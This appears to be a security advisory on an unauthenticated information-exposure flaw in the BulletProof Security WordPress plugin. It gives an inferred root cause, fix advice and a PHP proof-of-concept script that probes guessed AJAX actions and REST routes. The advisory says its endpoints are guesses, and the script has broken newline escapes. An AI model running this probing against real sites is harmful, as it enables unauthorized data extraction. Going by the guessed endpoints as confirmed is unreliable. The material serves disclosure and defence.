Atomic Edge analysis of CVE-2026-119273 (metadata-based): This is an unauthenticated information exposure vulnerability in the BulletProof Security plugin for WordPress, affecting all versions up to and including 7.2. The vulnerability allows any remote attacker to extract sensitive user or configuration data from the WordPress site. The CVSS score of 5.3 reflects a moderate severity, with a vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, meaning exploitation is network-based, requires no privileges, no user interaction, and results only in a low confidentiality impact. No patch is currently available.
Root Cause: Atomic Edge infers from CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) that the plugin fails to enforce proper authorization checks on an endpoint or function that returns sensitive data. The most likely pattern is an AJAX handler or REST API route that lacks a capability check (e.g., current_user_can) or nonce verification, allowing unauthenticated users to invoke it. Alternatively, the plugin may expose data through a direct file access or a predictable file path. Since no source code diff is available, this root cause is inferred from the CWE and description, not confirmed from code.
Exploitation: Atomic Edge analysis indicates that an unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint. Common WordPress patterns suggest the endpoint is either an admin-ajax.php action (e.g., action=bulletproof_security_something) or a REST API route (e.g., /wp-json/bulletproof-security/v1/something). Without the exact endpoint name from metadata, exploit development requires probing. An attacker would enumerate likely action names based on the plugin slug and send requests to retrieve configuration or user data, such as backup paths, security logs, or user lists. The request would be a simple GET or POST with no authentication cookies.
Remediation: The fix likely requires adding proper capability checks (e.g., current_user_can(‘manage_options’)) and nonce verification to the vulnerable endpoint. For AJAX handlers, the plugin should use check_ajax_referer() and restrict access to authenticated users with appropriate roles. For REST API routes, the permission_callback should validate user capabilities. Additionally, the plugin should avoid exposing sensitive data in responses without proper sanitization and access controls.
Impact: Successful exploitation allows an unauthenticated attacker to obtain sensitive information, which could include user data, configuration details, security settings, or file paths. This information can be used to facilitate further attacks, such as targeted phishing, privilege escalation, or site compromise. The low confidentiality impact aligns with limited data exposure, but the lack of authentication makes the vulnerability easily exploitable at scale.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-119273 - BulletProof Security <= 7.2 - Unauthenticated Information Exposure
// This PoC attempts to exploit the vulnerability by probing common WordPress AJAX actions
// associated with the BulletProof Security plugin. Since the exact vulnerable endpoint is not
// provided in the metadata, this script tests a list of likely action names based on the
// plugin slug and common naming conventions. The attack requires no authentication.
$target_url = 'http://example.com'; // Configure the target WordPress site URL (no trailing slash)
// List of candidate AJAX actions derived from the plugin slug (bulletproof-security) and common patterns.
$candidate_actions = [
'bulletproof_security_action',
'bps_action',
'bulletproof_security',
'bps_get_config',
'bulletproof_security_get_data',
'bps_ajax',
];
// Alternatively, test REST API endpoints.
$candidate_rest_routes = [
'/wp-json/bulletproof-security/v1/data',
'/wp-json/bps/v1/config',
'/wp-json/bulletproof-security/v1/settings',
];
function send_request($url, $method = 'GET', $data = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $http_code, 'body' => $response];
}
// Test AJAX actions
foreach ($candidate_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = ['action' => $action];
$result = send_request($url, 'POST', $post_data);
if ($result['code'] == 200 && !empty($result['body'])) {
echo "[+] Potential vulnerable AJAX action: $actionn";
echo "Response snippet: " . substr($result['body'], 0, 200) . "n";
}
}
// Test REST API routes
foreach ($candidate_rest_routes as $route) {
$url = $target_url . $route;
$result = send_request($url, 'GET');
if ($result['code'] == 200 && !empty($result['body'])) {
echo "[+] Potential vulnerable REST route: $routen";
echo "Response snippet: " . substr($result['body'], 0, 200) . "n";
}
}
echo "PoC complete. Check output for potentially exposed data.n";
?>